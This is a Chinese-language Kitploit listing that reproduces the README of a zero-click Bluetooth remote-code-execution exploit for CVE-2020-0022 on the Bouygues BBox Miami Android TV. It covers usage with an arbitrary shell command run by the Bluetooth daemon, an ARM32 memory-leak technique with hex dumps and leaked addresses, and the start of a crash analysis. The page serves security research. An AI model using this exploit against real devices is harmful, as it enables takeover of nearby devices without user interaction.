Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-0022 — 关于 Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) 的 CVE-2020-0022 漏洞利用 | Kitploit
工具/GitHubGitHub/polo35/cve-2020-0022
Android安全蓝牙安全内存取证漏洞利用Shellcode远程访问工具Payload 开发二进制利用
GitHubpolo35/cve-2020-0022

CVE-2020-0022

关于 Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) 的 CVE-2020-0022 漏洞利用

查看仓库
3713665年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

########################################################################################

CVE-2020-0022 针对 Bouygues BBox Miami 的漏洞利用 Android TV 8.0 - ARM32 Cortex A9 作者: Polo35 - 2020/08/24

########################################################################################

"用法: python polo_exploit.py 目标蓝牙MAC地址 [目标ADB_IP, 外壳命令, 禁用重启, 详细输出]"

########################################################################################

基于 Jan Ruge 的脚本 CVE-2020-0022 一个 Android 8.0-9.0 蓝牙零点击 RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

介绍与提示

########################################################################################

该脚本使用 Python 蓝牙模块来获取 ACL 连接句柄 因此你需要安装蓝牙库以及 pybluez (Python2 使用 0.22 版本,Python3 使用最新版本)

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

你可以向脚本传递一个 shell 命令作为参数,该命令将由蓝牙守护进程通过 system 函数执行 shell 命令仅有 104 个字符可用,因为 ROP 链占用了第二个有效负载的前 20 字节

示例: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

该脚本可以使用 adb 检查连接、检查 logcat 以及在必要时重启靶机 为此,你需要将靶机 IP 作为参数传递 在使用脚本前,请确保已通过 adb connect 连接靶机并打开 shell 检查连接

最佳效果是通过智能手机通过蓝牙连接到靶机,当脚本提示时这样做 ;) 触发利用可能需要超过 30 次尝试,但有时也能在第一次尝试时成功

########################################################################################

ARM32 内存泄漏

########################################################################################

Bouygues BBox Miami 基于 ARM 32 位 Cortex A9 处理器 与 ARM64 的区别在于,libc 的 memcpy 函数不会下溢,因此无法获得与 Jan Ruge 相同的泄漏 但漏洞仍然存在,并且可以以不同的方式利用

通过发送 4 字节分片的 l2cap 包,我们可以在 reassemble_and_dispatch 中触发长度为 0 的 memcpy 这允许在 echo 末尾获取 4 字节未初始化数据

增加第一个包的长度(下文称为 mem_offset)可以“遍历”未初始化内存 在同一 mem_offset 下获取 32 个 echo 通常能获得 2 到 8 个可利用的 echo Echo 会重复,因此无需在同一 mem_offset 下获取超过 32 个 echo 这种方法同时会用包填充内存,因此很容易识别模式并在泄漏中找到偏移量

mem_offset 是 l2cap 包的字符长度 例如:mem_offset 184 = 184 字符的 l2cap 包 = 368 字节的 l2cap 包

内存“遍历”和未初始化数据(带重复)的示例:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

我们在 mem_offset 180 和 184 处可以看到一些小端格式的内存地址

a4ce80a3 给出地址 0xa380cea4 24d280a3 给出地址 0xa380d224 a4d580a3 给出地址 0xa380d5a4 9cce80a3 给出地址 0xa380ce9c 1cd280a3 给出地址 0xa380d21c 9cd580a3 给出地址 0xa380d59c

至少有 4 或 5 个 mem_offset 可以在几乎所有重启后找到真实内存地址 我们稍后会看到如何使用它们

########################################################################################

首次崩溃分析

########################################################################################

通过发送 2 字节分片的 l2cap 包,我们可以在 reassemble_and_dispatch 中触发长度为 -2 的 memcpy 这允许用第二个包的 30 字节受控数据溢出部分包之外 由于复制了 30 字节,因此不需要发送大于 32 字节且最后 4 字节为空的包

这种溢出方法有时会使蓝牙守护进程崩溃,并在 _Z11list_appendP6list_tPv+65 处控制 R0 寄存器:

下载工具